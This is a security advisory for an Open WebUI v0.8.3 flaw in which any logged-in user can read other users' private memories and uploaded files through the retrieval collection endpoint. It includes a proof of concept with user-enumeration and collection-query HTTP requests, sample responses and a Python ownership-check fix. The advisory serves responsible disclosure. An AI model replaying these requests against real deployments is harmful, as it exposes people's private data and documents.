PYSEC-2026-2765 
### Summary
Any authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection`

### Details
**Vulnerability 1: Missing authorization in collection querying**

In `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation:

```python
async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),  # Only checks authentication, not authorization
):
```

Collection names follow predictable patterns:
- User files: `file-{FILE_UUID}`
- User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature)

### PoC
**Environment:** Open WebUI v0.8.3, default configuration.
**Setup:**
1. Register two users: admin (first user) and attacker (second user).
2. As admin, upload a PDF document through chat.
3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

**Exploitation — Step 1: Enumerate all users**

```
GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
```

Response reveals all users including admin's UUID, email, and role:

```json
{
  "users": [
    {
      "id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
      "name": "user",
      "email": "user@test.com",
      "role": "user"
    },
    {
      "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
      "name": "admin",
      "email": "admin@test.com",
      "role": "admin"
    }
  ]
}
```

<img width="1340" height="731" alt="1poc - users" src="https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9" />

**Exploitation — Step 2: Read admin's memories**

Using the admin UUID obtained in Step 1, query their private memory collection:

```
POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["user-memory-<admin_UUID_from_step_1>"],
  "query": "test"
}
```

Response returns admin's private memories:

```json
{
  "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}
```

<img width="1285" height="606" alt="2poc - memory" src="https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082" />

**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

**Exploitation — Step 3: Read admin's private file (Vulnerability 1)**

File collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:

```
POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["file-<file_UUID>"],
  "query": "test"
}
```

Response returns admin's private document content and full metadata:

```json
{
  "documents": [["Test PDF  \nabc   \nbcd"]],
  "metadatas": [[{
    "name": "Test PDF.pdf",
    "author": "Mariusz Maik",
    "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
    "file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
  }]]
}
```

<img width="1413" height="908" alt="image" src="https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596" />

### Impact
-  **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.
- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.

### Suggested Fix

**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**

```python
async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),
):
    for collection_name in form_data.collection_names:
        if collection_name.startswith("user-memory-"):
            owner_id = collection_name.replace("user-memory-", "")
            if owner_id != user.id and user.role != "admin":
                raise HTTPException(status_code=403, detail="Access denied")
        elif collection_name.startswith("file-"):
            file_id = collection_name.replace("file-", "")
            # user_has_access_to_file — placeholder; verify file ownership
            # e.g. check if created_by matches user.id
            if not user_has_access_to_file(user.id, file_id):
                raise HTTPException(status_code=403, detail="Access denied")
```

**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.

### Disclosure

AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.
CVSS v3.1 score: 3.1